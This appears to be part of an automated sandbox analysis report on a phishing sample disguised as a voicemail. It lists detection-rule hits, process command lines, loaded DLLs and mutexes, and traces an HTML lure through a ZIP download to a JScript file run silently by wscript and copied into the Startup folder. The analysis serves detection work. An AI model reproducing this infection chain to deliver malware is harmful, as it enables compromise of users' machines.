                    Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPEDMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPEDMatched rule: Detects JS potentially executing WMI queries Author: ditekSHen
                    Blob-based file download detected
                    Source: C:\Users\user\Downloads\New Voicemail May 9 _mp4.zipFile download: blob:null/a83fd8fe-018f-407d-9072-47af862d6eaf
                    Downloads suspicious files via Chrome
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile dump: C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip (copy)Jump to dropped file
                    Found suspicious ZIP file
                    Source: 90979717-e338-44bf-8273-e058c4be9529.tmp.0.drZip Entry: New Voicemail May 9 _mp4.js
                    HTML document with suspicious name
                    Source: Name includes: Voicemail Jud.htmlInitial sample: voicemail
                    Windows Scripting host queries suspicious COM object (likely to drop second stage)
                    Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}Jump to behavior
                    Source: C:\Windows\System32\wscript.exeCOM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}Jump to behavior
                    Wscript called in batch mode (surpress errors)
                    Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"Jump to behavior
                    Source: 0000000C.00000003.2776254293.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.2252696295.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 00000007.00000003.2039075098.0000000000E00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.2365561540.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.3283310659.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.3228165832.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.2122982130.0000000006CA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000B.00000003.2091678833.0000000006DB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.2195388309.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000002.3664293608.0000000006F10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.3338153980.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000B.00000003.2089734091.0000000006A73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.2309211314.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.2479670966.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.3408776876.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 00000011.00000003.2444105297.00000210130F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000B.00000003.2047368224.0000000005204000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: 0000000C.00000003.2092684570.00000000059AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: Process Memory Space: 7za.exe PID: 2936, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: Process Memory Space: wscript.exe PID: 7076, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: Process Memory Space: wscript.exe PID: 1544, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: Process Memory Space: wscript.exe PID: 6936, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPEDMatched rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery author = ditekSHen, description = Detects JS potentially executing WMI queries
                    Source: classification engineClassification label: mal100.phis.troj.expl.evad.winHTML@44/28@37/16
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\90979717-e338-44bf-8273-e058c4be9529.tmpJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeMutant created: NULL
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6096:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7092:120:WilError_03
                    Source: C:\Windows\SysWOW64\unarchiver.exeFile created: C:\Users\user\AppData\Local\Temp\unarchiver.logJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Voicemail Jud.html"
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2292,i,17443918596644864279,4892845659542734896,262144 /prefetch:8
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip"
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\2otik2vy.ast" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip"
                    Source: C:\Windows\SysWOW64\7za.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js"
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js"
                    Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.js"
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2292,i,17443918596644864279,4892845659542734896,262144 /prefetch:8Jump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js"Jump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip"Jump to behavior
                    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\2otik2vy.ast" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip"Jump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js"Jump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"Jump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\7za.exeSection loaded: 7z.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: policymanager.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: msvcp110_win.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: pcacli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sfc_os.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msxml3.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mlang.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winnsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rasadhlp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: fwpuclnt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: schannel.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttpcom.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: webio.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msdart.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msxml3.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mlang.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winnsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rasadhlp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: fwpuclnt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: schannel.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mskeyprotect.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncrypt.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ncryptsslp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winhttpcom.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: webio.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msdart.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: napinsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: pnrpnsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshbth.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: nlaapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeSection loaded: winrnr.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
                    Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
